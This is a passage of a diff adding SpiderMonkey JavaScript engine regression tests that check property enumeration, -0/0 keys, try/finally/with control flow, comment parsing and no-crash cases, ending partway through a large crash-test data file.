+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Object/regress-362872-02.js b/js/src/tests/js1_5/Object/regress-362872-02.js
new file mode 100644
index 000000000..edee43a4a
--- /dev/null
+++ b/js/src/tests/js1_5/Object/regress-362872-02.js
@@ -0,0 +1,24 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Blake Kaplan
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 362872;
+var summary = 'script should not drop watchpoint that is in use';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+this.watch('x', function f() {
+ print("before");
+ x = 3;
+ print("after");
+ });
+x = 3;
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/Object/regress-382503.js b/js/src/tests/js1_5/Object/regress-382503.js
new file mode 100644
index 000000000..373b45f6e
--- /dev/null
+++ b/js/src/tests/js1_5/Object/regress-382503.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 382503;
+var summary = 'Do not assert: with prototype=regexp';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+function f(x)
+{
+ prototype = /a/;
+
+ if (x) {
+ return /b/;
+ return /c/;
+ } else {
+ return /d/;
+ }
+}
+
+void f(false);
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/Object/regress-382532.js b/js/src/tests/js1_5/Object/regress-382532.js
new file mode 100644
index 000000000..10e43f385
--- /dev/null
+++ b/js/src/tests/js1_5/Object/regress-382532.js
@@ -0,0 +1,36 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 382532;
+var summary = 'instanceof,... broken by use of |prototype| in heavyweight constructor';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var prototype;
+
+ function Bug() {
+ var func = function () { x; };
+ prototype;
+ }
+
+ expect = true;
+ actual = (new Bug instanceof Bug);
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Object/regress-465476.js b/js/src/tests/js1_5/Object/regress-465476.js
new file mode 100644
index 000000000..f089f5ac0
--- /dev/null
+++ b/js/src/tests/js1_5/Object/regress-465476.js
@@ -0,0 +1,63 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465476;
+var summary = '"-0" and "0" are distinct properties.';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var x = { "0": 3, "-0": 7 };
+
+ expect = actual = 'No Exception';
+
+ try
+ {
+ if (!("0" in x))
+ throw "0 not in x";
+ if (!("-0" in x))
+ throw "-0 not in x";
+ delete x[0];
+ if ("0" in x)
+ throw "0 in x after delete";
+ if (!("-0" in x))
+ throw "-0 removed from x after unassociated delete";
+ delete x["-0"];
+ if ("-0" in x)
+ throw "-0 in x after delete";
+ x[0] = 3;
+ if (!("0" in x))
+ throw "0 not in x after insertion of 0 property";
+ if ("-0" in x)
+ throw "-0 in x after insertion of 0 property";
+ x["-0"] = 7;
+ if (!("-0" in x))
+ throw "-0 not in x after reinsertion";
+
+ var props = [];
+ for (var i in x)
+ props.push(i);
+ if (props.length !== 2)
+ throw "not all props found!";
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Object/regress-90596-003.js b/js/src/tests/js1_5/Object/regress-90596-003.js
new file mode 100644
index 000000000..9404a8b1b
--- /dev/null
+++ b/js/src/tests/js1_5/Object/regress-90596-003.js
@@ -0,0 +1,278 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 28 August 2001
+ *
+ * SUMMARY: A [DontEnum] prop, if overridden, should appear in for-in loops.
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=90596
+ *
+ * NOTE: some inefficiencies in the test are made for the sake of readability.
+ * For example, we quote string values like "Hi" in lines like this:
+ *
+ * actual = enumerateThis(obj);
+ * expect = '{prop:"Hi"}';
+ *
+ * But enumerateThis(obj) gets literal value Hi for obj.prop, not
+ * literal "Hi". We take care of all these details in the
+ * compactThis(), sortThis() functions. Sorting properties
+ * alphabetically is necessary for the test to work in Rhino.
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 90596;
+var summary = '[DontEnum] props (if overridden) should appear in for-in loops';
+var cnCOMMA = ',';
+var cnCOLON = ':';
+var cnLBRACE = '{';
+var cnRBRACE = '}';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+var obj = {};
+
+
+status = inSection(1);
+obj = {toString:9};
+actual = enumerateThis(obj);
+expect = '{toString:9}';
+addThis();
+
+status = inSection(2);
+obj = {hasOwnProperty:"Hi"};
+actual = enumerateThis(obj);
+expect = '{hasOwnProperty:"Hi"}';
+addThis();
+
+status = inSection(3);
+obj = {toString:9, hasOwnProperty:"Hi"};
+actual = enumerateThis(obj);
+expect = '{toString:9, hasOwnProperty:"Hi"}';
+addThis();
+
+status = inSection(4);
+obj = {prop1:1, toString:9, hasOwnProperty:"Hi"};
+actual = enumerateThis(obj);
+expect = '{prop1:1, toString:9, hasOwnProperty:"Hi"}';
+addThis();
+
+
+// TRY THE SAME THING IN EVAL CODE
+var s = '';
+
+status = inSection(5);
+s = 'obj = {toString:9}';
+eval(s);
+actual = enumerateThis(obj);
+expect = '{toString:9}';
+addThis();
+
+status = inSection(6);
+s = 'obj = {hasOwnProperty:"Hi"}';
+eval(s);
+actual = enumerateThis(obj);
+expect = '{hasOwnProperty:"Hi"}';
+addThis();
+
+status = inSection(7);
+s = 'obj = {toString:9, hasOwnProperty:"Hi"}';
+eval(s);
+actual = enumerateThis(obj);
+expect = '{toString:9, hasOwnProperty:"Hi"}';
+addThis();
+
+status = inSection(8);
+s = 'obj = {prop1:1, toString:9, hasOwnProperty:"Hi"}';
+eval(s);
+actual = enumerateThis(obj);
+expect = '{prop1:1, toString:9, hasOwnProperty:"Hi"}';
+addThis();
+
+
+// TRY THE SAME THING IN FUNCTION CODE
+function A()
+{
+ status = inSection(9);
+ var s = 'obj = {toString:9}';
+ eval(s);
+ actual = enumerateThis(obj);
+ expect = '{toString:9}';
+ addThis();
+}
+A();
+
+function B()
+{
+ status = inSection(10);
+ var s = 'obj = {hasOwnProperty:"Hi"}';
+ eval(s);
+ actual = enumerateThis(obj);
+ expect = '{hasOwnProperty:"Hi"}';
+ addThis();
+}
+B();
+
+function C()
+{
+ status = inSection(11);
+ var s = 'obj = {toString:9, hasOwnProperty:"Hi"}';
+ eval(s);
+ actual = enumerateThis(obj);
+ expect = '{toString:9, hasOwnProperty:"Hi"}';
+ addThis();
+}
+C();
+
+function D()
+{
+ status = inSection(12);
+ var s = 'obj = {prop1:1, toString:9, hasOwnProperty:"Hi"}';
+ eval(s);
+ actual = enumerateThis(obj);
+ expect = '{prop1:1, toString:9, hasOwnProperty:"Hi"}';
+ addThis();
+}
+D();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function enumerateThis(obj)
+{
+ var arr = new Array();
+
+ for (var prop in obj)
+ {
+ arr.push(prop + cnCOLON + obj[prop]);
+ }
+
+ var ret = addBraces(String(arr));
+ return ret;
+}
+
+
+function addBraces(text)
+{
+ return cnLBRACE + text + cnRBRACE;
+}
+
+
+/*
+ * Sort properties alphabetically so the test will work in Rhino
+ */
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = sortThis(actual);
+ expectedvalues[UBound] = sortThis(expect);
+ UBound++;
+}
+
+
+/*
+ * Takes a string of the form '{"c", "b", "a", 2}' and returns '{2,a,b,c}'
+ */
+function sortThis(sList)
+{
+ sList = compactThis(sList);
+ sList = stripBraces(sList);
+ var arr = sList.split(cnCOMMA);
+ arr = arr.sort();
+ var ret = String(arr);
+ ret = addBraces(ret);
+ return ret;
+}
+
+
+/*
+ * Strips out any whitespace or quotes from the text -
+ */
+function compactThis(text)
+{
+ var charCode = 0;
+ var ret = '';
+
+ for (var i=0; i<text.length; i++)
+ {
+ charCode = text.charCodeAt(i);
+
+ if (!isWhiteSpace(charCode) && !isQuote(charCode))
+ ret += text.charAt(i);
+ }
+
+ return ret;
+}
+
+
+function isWhiteSpace(charCode)
+{
+ switch (charCode)
+ {
+ case (0x0009):
+ case (0x000B):
+ case (0x000C):
+ case (0x0020):
+ case (0x000A): // '\n'
+ case (0x000D): // '\r'
+ return true;
+ break;
+
+ default:
+ return false;
+ }
+}
+
+
+function isQuote(charCode)
+{
+ switch (charCode)
+ {
+ case (0x0027): // single quote
+ case (0x0022): // double quote
+ return true;
+ break;
+
+ default:
+ return false;
+ }
+}
+
+
+/*
+ * strips off braces at beginning and end of text -
+ */
+function stripBraces(text)
+{
+ // remember to escape the braces...
+ var arr = text.match(/^\{(.*)\}$/);
+
+ // defend against a null match...
+ if (arr != null && arr[1] != null)
+ return arr[1];
+ return text;
+}
+
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Object/shell.js b/js/src/tests/js1_5/Object/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/js1_5/Object/shell.js
diff --git a/js/src/tests/js1_5/README b/js/src/tests/js1_5/README
new file mode 100644
index 000000000..e2b340416
--- /dev/null
+++ b/js/src/tests/js1_5/README
@@ -0,0 +1 @@
+JavaScript 1.5
diff --git a/js/src/tests/js1_5/Regress/browser.js b/js/src/tests/js1_5/Regress/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/browser.js
diff --git a/js/src/tests/js1_5/Regress/regress-102725.js b/js/src/tests/js1_5/Regress/regress-102725.js
new file mode 100644
index 000000000..19b54c631
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-102725.js
@@ -0,0 +1,64 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 09 October 2001
+ *
+ * SUMMARY: Regression test for Bugzilla bug 102725
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=102725
+ * "gcc -O2 problems converting numbers to strings"
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 102725;
+var summary = 'Testing converting numbers to strings';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+/*
+ * Successive calls to foo.toString() were producing different answers!
+ */
+status = inSection(1);
+foo = (new Date()).getTime();
+actual = foo.toString();
+expect = foo.toString();
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-10278.js b/js/src/tests/js1_5/Regress/regress-10278.js
new file mode 100644
index 000000000..fda2343d4
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-10278.js
@@ -0,0 +1,48 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Bob Clary
+ */
+
+/**
+ * File Name: regress-10278.js
+ * Reference: https://bugzilla.mozilla.org/show_bug.cgi?id=10278
+ * Description: Function declarations do not need to be separated
+ * by semi-colon if they occur on the same line.
+ * Author: bob@bclary.com
+ */
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 10278;
+var summary = 'Function declarations do not need to be separated by semi-colon';
+var actual;
+var expect;
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 'pass';
+ try
+ {
+ eval("function f(){}function g(){}");
+ actual = "pass";
+ printStatus('no exception thrown');
+ }
+ catch ( e )
+ {
+ actual = "fail";
+ printStatus('exception ' + e.toString() + ' thrown');
+ }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-104077.js b/js/src/tests/js1_5/Regress/regress-104077.js
new file mode 100644
index 000000000..c0e9abcab
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-104077.js
@@ -0,0 +1,473 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 10 October 2001
+ * SUMMARY: Regression test for Bugzilla bug 104077
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=104077
+ * "JS crash: with/finally/return"
+ *
+ * Also http://bugzilla.mozilla.org/show_bug.cgi?id=120571
+ * "JS crash: try/catch/continue."
+ *
+ * SpiderMonkey crashed on this code - it shouldn't.
+ *
+ * NOTE: the finally-blocks below should execute even if their try-blocks
+ * have return or throw statements in them:
+ *
+ * ------- Additional Comment #76 From Mike Shaver 2001-12-07 01:21 -------
+ * finally trumps return, and all other control-flow constructs that cause
+ * program execution to jump out of the try block: throw, break, etc. Once you
+ * enter a try block, you will execute the finally block after leaving the try,
+ * regardless of what happens to make you leave the try.
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 104077;
+var summary = "Just testing that we don't crash on with/finally/return -";
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+function addValues(obj)
+{
+ var sum;
+ with (obj)
+ {
+ try
+ {
+ sum = arg1 + arg2;
+ }
+ finally
+ {
+ return sum;
+ }
+ }
+}
+
+status = inSection(1);
+var obj = new Object();
+obj.arg1 = 1;
+obj.arg2 = 2;
+actual = addValues(obj);
+expect = 3;
+captureThis();
+
+
+
+function tryThis()
+{
+ var sum = 4 ;
+ var i = 0;
+
+ while (sum < 10)
+ {
+ try
+ {
+ sum += 1;
+ i += 1;
+ }
+ finally
+ {
+ print("In finally case of tryThis() function");
+ }
+ }
+ return i;
+}
+
+status = inSection(2);
+actual = tryThis();
+expect = 6;
+captureThis();
+
+
+
+function myTest(x)
+{
+ var obj = new Object();
+ var msg;
+
+ with (obj)
+ {
+ msg = (x != null) ? "NO" : "YES";
+ print("Is the provided argument to myTest() null? : " + msg);
+
+ try
+ {
+ throw "ZZZ";
+ }
+ catch(e)
+ {
+ print("Caught thrown exception = " + e);
+ }
+ }
+
+ return 1;
+}
+
+status = inSection(3);
+actual = myTest(null);
+expect = 1;
+captureThis();
+
+
+
+function addValues_2(obj)
+{
+ var sum = 0;
+ with (obj)
+ {
+ try
+ {
+ sum = arg1 + arg2;
+ with (arg3)
+ {
+ while (sum < 10)
+ {
+ try
+ {
+ if (sum > 5)
+ return sum;
+ sum += 1;
+ }
+ catch(e)
+ {
+ print('Caught an exception in addValues_2() function: ' + e);
+ }
+ }
+ }
+ }
+ finally
+ {
+ return sum;
+ }
+ }
+}
+
+status = inSection(4);
+obj = new Object();
+obj.arg1 = 1;
+obj.arg2 = 2;
+obj.arg3 = new Object();
+obj.arg3.a = 10;
+obj.arg3.b = 20;
+actual = addValues_2(obj);
+expect = 6;
+captureThis();
+
+
+
+status = inSection(5);
+try
+{
+ throw new A();
+}
+catch(e)
+{
+}
+finally
+{
+ try
+ {
+ throw new A();
+ }
+ catch(e)
+ {
+ }
+ finally
+ {
+ actual = 'a';
+ }
+ actual = 'b';
+}
+expect = 'b';
+captureThis();
+
+
+
+
+function testfunc(mode)
+{
+ var obj = new Object();
+ with (obj)
+ {
+ var num = 100;
+ var str = "abc" ;
+
+ if (str == null)
+ {
+ try
+ {
+ throw "authentication.0";
+ }
+ catch(e)
+ {
+ }
+ finally
+ {
+ }
+
+ return num;
+ }
+ else
+ {
+ try
+ {
+ if (mode == 0)
+ throw "authentication.0";
+ else
+ mytest();
+ }
+ catch(e)
+ {
+ }
+ finally
+ {
+ }
+
+ return num;
+ }
+ }
+}
+
+status = inSection(6);
+actual = testfunc(0);
+expect = 100;
+captureThis();
+
+status = inSection(7);
+actual = testfunc();
+expect = 100;
+captureThis();
+
+
+
+
+function entry_menu()
+{
+ var document = new Object();
+ var dialog = new Object();
+ var num = 100;
+
+ with (document)
+ {
+ with (dialog)
+ {
+ try
+ {
+ while (true)
+ {
+ return num;
+ }
+ }
+ finally
+ {
+ }
+ }
+ }
+}
+
+status = inSection(8);
+actual = entry_menu();
+expect = 100;
+captureThis();
+
+
+
+
+function addValues_5(obj)
+{
+ var sum = 0;
+
+ with (obj)
+ {
+ try
+ {
+ sum = arg1 + arg2;
+ with (arg3)
+ {
+ while (sum < 10)
+ {
+ try
+ {
+ if (sum > 5)
+ return sum;
+ sum += 1;
+ }
+ catch (e)
+ {
+ sum += 1;
+ }
+ }
+ }
+ }
+ finally
+ {
+ try
+ {
+ sum += 1;
+ print("In finally block of addValues_5() function: sum = " + sum);
+ }
+ catch (e)
+ {
+ sum += 1;
+ print("In finally catch block of addValues_5() function: sum = " + sum + ", e = " + e);
+ }
+ finally
+ {
+ sum += 1;
+ print("In finally finally block of addValues_5() function: sum = " + sum);
+ return sum;
+ }
+ }
+ }
+}
+
+status = inSection(11);
+obj = new Object();
+obj.arg1 = 1;
+obj.arg2 = 2;
+obj.arg3 = new Object();
+obj.arg3.a = 10;
+obj.arg3.b = 20;
+actual = addValues_5(obj);
+expect = 8;
+captureThis();
+
+
+
+
+function testObj(obj)
+{
+ var x = 42;
+
+ try
+ {
+ with (obj)
+ {
+ if (obj.p)
+ throw obj.p;
+ x = obj.q;
+ }
+ }
+ finally
+ {
+ print("in finally block of testObj() function");
+ return 999;
+ }
+}
+
+status = inSection(12);
+obj = {p:43};
+actual = testObj(obj);
+expect = 999;
+captureThis();
+
+
+
+/*
+ * Next two cases are from http://bugzilla.mozilla.org/show_bug.cgi?id=120571
+ */
+function a120571()
+{
+ while(0)
+ {
+ try
+ {
+ }
+ catch(e)
+ {
+ continue;
+ }
+ }
+}
+
+// this caused a crash! Test to see that it doesn't now.
+print(a120571);
+
+// Now test that we have a non-null value for a120571.toString()
+status = inSection(13);
+try
+{
+ actual = a120571.toString().match(/continue/)[0];
+}
+catch(e)
+{
+ actual = 'FAILED! Did not find "continue" in function body';
+}
+expect = 'continue';
+captureThis();
+
+
+
+
+function b()
+{
+ for(;;)
+ {
+ try
+ {
+ }
+ catch(e)
+ {
+ continue;
+ }
+ }
+}
+
+// this caused a crash!!! Test to see that it doesn't now.
+print(b);
+
+// Now test that we have a non-null value for b.toString()
+status = inSection(14);
+try
+{
+ actual = b.toString().match(/continue/)[0];
+}
+catch(e)
+{
+ actual = 'FAILED! Did not find "continue" in function body';
+}
+expect = 'continue';
+captureThis();
+
+
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function captureThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-106244.js b/js/src/tests/js1_5/Regress/regress-106244.js
new file mode 100644
index 000000000..6a7d8acfa
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-106244.js
@@ -0,0 +1,39 @@
+// |reftest| skip -- obsolete test
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 106244;
+var summary = 'No warning in strict mode if (a = b && c == d)...';
+var actual = '';
+var expect = 'test for equality (==) mistyped as assignment (=)?';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+options('strict');
+options('werror');
+
+var a = false;
+var b = true;
+var c = false;
+var d = true;
+var result;
+
+try
+{
+ if (a = b && c == d)
+ result = true;
+ else
+ result = false;
+}
+catch(ex)
+{
+ actual = ex.message;
+}
+
+print('result = ' + result);
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/Regress/regress-110286.js b/js/src/tests/js1_5/Regress/regress-110286.js
new file mode 100644
index 000000000..c7d656376
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-110286.js
@@ -0,0 +1,122 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 16 Nov 2001
+ * SUMMARY: multiline comments containing "/*" should not be syntax errors
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=110286
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 110286;
+var summary = 'Multiline comments containing "/*" should not be syntax errors';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+status = inSection(1);
+actual = eval("/* /* */3");
+expect = 3;
+addThis();
+
+status = inSection(2);
+actual = eval("3/* /* */");
+expect = 3;
+addThis();
+
+status = inSection(3);
+actual = eval("/* 3/* */");
+expect = undefined;
+addThis();
+
+status = inSection(4);
+actual = eval("/* /*3 */");
+expect = undefined;
+addThis();
+
+status = inSection(5);
+var passed = true;
+try
+{
+ eval("/* blah blah /* blah blah */");
+}
+catch(e)
+{
+ passed = false;
+}
+actual = passed;
+expect = true;
+addThis();
+
+
+status = inSection(6);
+try
+{
+ /*
+ /*A/* /* /*A/*
+ /* blah blah /*
+ /* blah blah /*
+ /* /*A/* /*A/*
+ */
+ var result = 'PASSED';
+}
+catch(e)
+{
+ var result = 'FAILED';
+}
+actual = result;
+expect = 'PASSED';
+addThis();
+
+
+status = inSection(7);
+var str = 'ABC';
+/*
+ * /*
+ * /*
+ * /*
+ * /*
+ *
+ */
+str += 'DEF';
+actual = str;
+expect = 'ABCDEF';
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i = 0; i < UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-111557.js b/js/src/tests/js1_5/Regress/regress-111557.js
new file mode 100644
index 000000000..49fd4247e
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-111557.js
@@ -0,0 +1,10931 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 26 Nov 2001
+ * SUMMARY: JS should not crash on this code
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=111557
+ *
+ */
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 111557;
+var summary = "Just seeing that we don't crash on this code -";
+
+printBugNumber(BUGNUMBER);
+printStatus(summary);
+
+
+/*
+ * NOTE: have defined |top| as |this| to make this a standalone JS shell test.
+ * This came from the HTML of a frame, where |top| would have its DOM meaning.
+ */
+var top = this;
+
+top.authors = new Array();
+top.titles = new Array();
+var i = 0;
+
+
+top.authors[i] = "zPROD xA.5375.";
+top.titles[i] = "NDS Libraries for C";
+i++;
+
+top.authors[i] = "zFLDR xB.5375.0100.";
+top.titles[i] = "NDS Backup Services";
+i++;
+
+top.authors[i] = "zFLDR xC.5375.0100.0001.";
+top.titles[i] = "Functions";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0100.0001.0001.";
+top.titles[i] = "NDSBackupServerData";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0100.0001.0002.";
+top.titles[i] = "NDSFreeNameList";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0100.0001.0003.";
+top.titles[i] = "NDSGetReplicaPartitionNames";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0100.0001.0004.";
+top.titles[i] = "NDSIsOnlyServerInTree";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0100.0001.0005.";
+top.titles[i] = "NDSSYSVolumeRecovery";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0100.0001.0006.";
+top.titles[i] = "NDSVerifyServerInfo";
+i++;
+
+top.authors[i] = "zFLDR xC.5375.0100.0002.";
+top.titles[i] = "Structures";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0100.0002.0001.";
+top.titles[i] = "NAMEID_TYPE";
+i++;
+
+top.authors[i] = "zFLDR xC.5375.0100.0003.";
+top.titles[i] = "Values";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0100.0003.0001.";
+top.titles[i] = "NDS Reason Flags";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0100.0003.0002.";
+top.titles[i] = "NDS Server Flags";
+i++;
+
+top.authors[i] = "zHTML xC.5375.0100.0004.";
+top.titles[i] = "Revision History";
+i++;
+
+top.authors[i] = "zFLDR xB.5375.0300.";
+top.titles[i] = "NDS Event Services";
+i++;
+
+top.authors[i] = "zFLDR xC.5375.0300.0001.";
+top.titles[i] = "Concepts";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0001.0001.";
+top.titles[i] = "NDS Event Introduction";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0001.0002.";
+top.titles[i] = "NDS Event Functions";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0001.0003.";
+top.titles[i] = "NDS Event Priorities";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0001.0004.";
+top.titles[i] = "NDS Event Data Filtering";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0001.0005.";
+top.titles[i] = "NDS Event Types";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0001.0006.";
+top.titles[i] = "Global Network Monitoring";
+i++;
+
+top.authors[i] = "zFLDR xC.5375.0300.0002.";
+top.titles[i] = "Tasks";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0002.0001.";
+top.titles[i] = "Monitoring NDS Events";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0002.0002.";
+top.titles[i] = "Registering for NDS Events";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0002.0003.";
+top.titles[i] = "Unregistering for NDS Events";
+i++;
+
+top.authors[i] = "zFLDR xC.5375.0300.0003.";
+top.titles[i] = "Functions";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0003.0001.";
+top.titles[i] = "NWDSEConvertEntryName";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0003.0002.";
+top.titles[i] = "NWDSEGetLocalAttrID";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0003.0003.";
+top.titles[i] = "NWDSEGetLocalAttrName";
+i++;
+
